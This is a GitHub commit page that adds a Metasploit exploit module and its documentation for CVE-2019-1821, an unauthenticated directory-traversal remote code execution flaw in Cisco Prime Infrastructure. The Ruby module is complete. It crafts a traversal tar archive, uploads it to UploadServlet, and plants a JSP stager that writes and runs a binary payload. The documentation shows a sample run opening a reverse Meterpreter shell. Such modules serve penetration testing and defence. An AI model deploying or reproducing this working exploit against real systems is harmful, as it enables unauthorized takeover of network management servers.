Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #11956 - Add Cisco Prime Infrastructure Health Monitor Tar RCE
- Loading branch information
1 parent
3f6eee1
commit 7a74bbb
Showing
2 changed files
with
288 additions
and
0 deletions.
There are no files selected for viewing
86 changes: 86 additions & 0 deletions
86
documentation/modules/exploit/linux/http/cpi_tararchive_upload.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,86 @@ | ||
## Description | ||
|
||
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that the TarArchive Java class the HA Health Monitor component uses does not check for any directory traversals while unpacking a Tar file, which can be abused by a remote user to leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps directory, and gain arbitrary remote code execution. Note that authentication is not required to exploit this vulnerability. | ||
|
||
## Vulnerable Application | ||
|
||
Cisco Prime Infrastructure releases prior to 3.4.1, 3.5, and 3.6, also EPN Manager releases prior to 3.0.1. The Metasploit module is specifically designed to target CPI 3.4.0. | ||
|
||
## Notes on Setup | ||
|
||
While developing the exploit, I happended to run into several issues that made the process more difficut. It was really because I didn't have the best hardware to work with, but in case you are trying to set up Cisco Prime Infrastructure as VMs like me, you may want to read this first. | ||
|
||
Special thanks to Steven Seeley (mr_me) for providing some of the most important setup notes himself. | ||
|
||
**Hardware Requirements** | ||
|
||
There are two machines you want to set up using the same ISO, the first is called the "primary" server, and the other is "secondary" (High Availability) server. They both require the same hardware: | ||
|
||
* 4 CPU Cores. | ||
* 12288 MB of RAM (12GB). | ||
* 350GB of hard drive space, but you may still run out of it in days. | ||
* Both VMs should be on the same network. | ||
|
||
**SCP** | ||
|
||
In case you want to transfer files, you will probably use scp. Before you do that, run the following script as admin on CPI. It will generate the credentials you need to scp files: | ||
|
||
``` | ||
/opt/CSCOlumos/bin/getSCPcredentials.sh | ||
``` | ||
|
||
By default, the CPI's SSH server's authentication method is password, you may end up running scp like this: | ||
|
||
``` | ||
scp -r -o PreferredAuthentications=password admin@ip:/tmp/something.zip . | ||
``` | ||
|
||
**Out of Space Issues** | ||
|
||
Cisco Prime Infrastructure requires a lot of space on the primary server. If it ever reaches to a point where it shuts down unexpectedly, you may not be able to bring the NCS services back again (such as port 80, 443, or 8082). At least for me, I couldn't figure out. If that's the case, you may need to reinstall the VM. | ||
|
||
**Unstable HA Connection** | ||
|
||
Sometimes the primary and secondary may experience some difficulty staying connected. If this happens, try to do the following on both machines: | ||
|
||
1. Run `ncs stop` to stop the services | ||
2. Run `ncs cleanup` | ||
3. Run `ncs start`, this may take 10 to 30 minutes to finish. | ||
4. Finally, run `ncs status` to make sure they are talking. | ||
|
||
If the secondary server isn't working with the primary, then the HealthMonitor service may not be in the exploitable condition. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. Do `use exploit/linux/http/cpi_tararchive_upload` | ||
3. Do `set payload` to select the preferred payload | ||
4. `set rhosts [ip]` | ||
5. `run`, this should give you a shell | ||
|
||
## Scenarios | ||
|
||
**Running the check** | ||
|
||
``` | ||
msf5 exploit(linux/http/cpi_tararchive_upload) > check | ||
[*] 192.168.0.23:8082 - The target service is running, but could not be validated. | ||
``` | ||
|
||
**Exploiting the service** | ||
|
||
``` | ||
msf5 exploit(linux/http/cpi_tararchive_upload) > run | ||
[*] Started reverse TCP handler on 192.168.0.21:4444 | ||
[*] Uploading tar file (3072 bytes) | ||
[*] Executing JSP stager... | ||
[*] Sending stage (985320 bytes) to 192.168.0.23 | ||
[*] Meterpreter session 3 opened (192.168.0.21:4444 -> 192.168.0.23:57127) at 2019-06-07 02:50:13 -0500 | ||
[!] This exploit may require manual cleanup of '/tmp/UdqUlWsFjp.bin' on the target | ||
[!] This exploit may require manual cleanup of 'apache-tomcat-8.5.16/webapps/ROOT/kmeEmkzdep.jsp' on the target | ||
meterpreter > | ||
[+] Deleted /tmp/UdqUlWsFjp.bin | ||
[+] Deleted apache-tomcat-8.5.16/webapps/ROOT/kmeEmkzdep.jsp | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,202 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability', | ||
'Description' => %q{ | ||
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that | ||
the TarArchive Java class the HA Health Monitor component uses does not check for any | ||
directory traversals while unpacking a Tar file, which can be abused by a remote user to | ||
leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps | ||
directory, and gain arbitrary remote code execution. Note that authentication is not | ||
required to exploit this vulnerability. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Steven Seeley', # Original discovery, PoC | ||
'sinn3r' # Metasploit module | ||
], | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_X86, | ||
'Targets' => | ||
[ | ||
[ 'Cisco Prime Infrastructure 3.4.0.0', { } ] | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2019-1821'], | ||
['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'], | ||
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'], | ||
['URL', 'https://srcincite.io/advisories/src-2019-0034/'], | ||
['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt'] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'RPORT' => 8082, | ||
'SSL' => true, | ||
|
||
}, | ||
'Notes' => | ||
{ | ||
'SideEffects' => [ IOC_IN_LOGS ], | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'Stability' => [ CRASH_SAFE ] | ||
}, | ||
'Privileged' => false, | ||
'DisclosureDate' => 'May 15 2019', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]), | ||
OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/']) | ||
]) | ||
end | ||
|
||
class CPITarArchive | ||
attr_reader :data | ||
attr_reader :jsp_name | ||
attr_reader :tar_name | ||
attr_reader :stager | ||
attr_reader :length | ||
|
||
def initialize(name, stager) | ||
@jsp_name = "#{name}.jsp" | ||
@tar_name = "#{name}.tar" | ||
@stager = stager | ||
@data = make | ||
@length = data.length | ||
end | ||
|
||
def make | ||
data = '' | ||
path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}" | ||
tar = StringIO.new | ||
Rex::Tar::Writer.new(tar) do |t| | ||
t.add_file(path, 0644) do |f| | ||
f.write(stager) | ||
end | ||
end | ||
tar.seek(0) | ||
data = tar.read | ||
tar.close | ||
data | ||
end | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'rport' => datastore['WEBPORT'], | ||
'SSL' => true, | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp') | ||
}) | ||
|
||
unless res | ||
vprint_error('No response from the server') | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime' | ||
return CheckCode::Detected | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
def get_jsp_stager(out_file, bin_data) | ||
# For some reason, some of the bytes tend to get lost at the end. | ||
# Not really sure why, but some extra bytes are added to ensure the integrity | ||
# of the code. This file will get deleted during cleanup anyway. | ||
%Q|<%@ page import="java.io.*" %> | ||
<% | ||
String data = "#{Rex::Text.to_hex(bin_data, '')}"; | ||
FileOutputStream outputstream = new FileOutputStream("#{out_file}"); | ||
int numbytes = data.length(); | ||
byte[] bytes = new byte[numbytes/2]; | ||
for (int counter = 0; counter < numbytes; counter += 2) | ||
{ | ||
char char1 = (char) data.charAt(counter); | ||
char char2 = (char) data.charAt(counter + 1); | ||
int comb = Character.digit(char1, 16) & 0xff; | ||
comb <<= 4; | ||
comb += Character.digit(char2, 16) & 0xff; | ||
bytes[counter/2] = (byte)comb; | ||
} | ||
outputstream.write(bytes); | ||
outputstream.close(); | ||
try { | ||
Runtime.getRuntime().exec("chmod +x #{out_file}"); | ||
Runtime.getRuntime().exec("#{out_file}"); | ||
} catch (IOException exp) {} | ||
%>#{Rex::Text.rand_text_alpha(30)}| | ||
end | ||
|
||
def make_tar | ||
elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin" | ||
register_file_for_cleanup(elf_name) | ||
elf = generate_payload_exe(code: payload.encoded) | ||
jsp_stager = get_jsp_stager(elf_name, elf) | ||
tar_name = Rex::Text.rand_text_alpha(10) | ||
register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp") | ||
CPITarArchive.new(tar_name, jsp_stager) | ||
end | ||
|
||
def execute_payload(tar) | ||
# Once executed, we are at: | ||
# /opt/CSCOlumos | ||
send_request_cgi({ | ||
'rport' => datastore['WEBPORT'], | ||
'SSL' => true, | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, tar.jsp_name) | ||
}) | ||
end | ||
|
||
def upload_tar(tar) | ||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"") | ||
|
||
# The file gets uploaded to this path on the server: | ||
# /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'), | ||
'data' => post_data.to_s, | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'headers' => | ||
{ | ||
'Destination-Dir' => 'tftpRoot', | ||
'Compressed-Archive' => 'false', | ||
'Primary-IP' => '127.0.0.1', | ||
'Filecount' => '1', | ||
'Filename' => tar.tar_name, | ||
'FileSize' => tar.length | ||
} | ||
}) | ||
|
||
(res && res.code == 200) | ||
end | ||
|
||
def exploit | ||
tar = make_tar | ||
print_status("Uploading tar file (#{tar.length} bytes)") | ||
if upload_tar(tar) | ||
print_status('Executing JSP stager...') | ||
execute_payload(tar) | ||
else | ||
print_status("Failed to upload #{tar.tar_name}") | ||
end | ||
end | ||
end |